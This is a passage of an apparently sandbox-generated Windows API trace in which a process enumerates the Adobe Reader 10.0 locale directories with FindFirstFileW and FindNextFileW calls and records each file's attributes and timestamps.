hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.175] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb6ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.175] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.175] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.RUS", cAlternateFileName="")) returned 1 [0148.176] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0148.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0148.176] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk_SK", cAlternateFileName="")) returned 1 [0148.176] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0148.177] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.177] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SKY", cAlternateFileName="ACCESS~1.SKY")) returned 1 [0148.178] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.180] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.180] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.180] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.180] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SKY", cAlternateFileName="")) returned 1 [0148.181] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0148.181] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0148.181] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl_SI", cAlternateFileName="")) returned 1 [0148.181] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0148.183] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.183] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.SLV", cAlternateFileName="ACCESS~1.SLV")) returned 1 [0148.184] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0148.659] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.659] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9103, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.659] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0148.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.827] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SLV", cAlternateFileName="")) returned 1 [0148.827] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0148.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0148.827] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv_SE", cAlternateFileName="")) returned 1 [0148.827] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0148.827] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.828] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SVE", cAlternateFileName="ACCESS~1.SVE")) returned 1 [0148.829] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0148.829] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.829] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.829] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0148.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0148.829] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SVE", cAlternateFileName="")) returned 1 [0148.829] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0148.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42cdf80 | out: hHeap=0x300000) returned 1 [0148.829] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr_TR", cAlternateFileName="")) returned 1 [0148.829] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0148.829] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.830] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.TUR", cAlternateFileName="ACCESS~1.TUR")) returned 1 [0148.830] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0148.831] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.831] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9270, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.831] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0148.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0148.831] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.TUR", cAlternateFileName="")) returned 1 [0148.831] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0148.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42cdf80 | out: hHeap=0x300000) returned 1 [0148.831] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk_UA", cAlternateFileName="")) returned 1 [0148.831] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0148.831] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.831] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.UKR", cAlternateFileName="ACCESS~1.UKR")) returned 1 [0148.835] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x377ecfc, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0148.836] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x377ecfc, cFileName="..", cAlternateFileName="")) returned 1 [0148.836] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbab1, dwReserved0=0x0, dwReserved1=0x377ecfc, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.836] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0148.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0148.836] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, 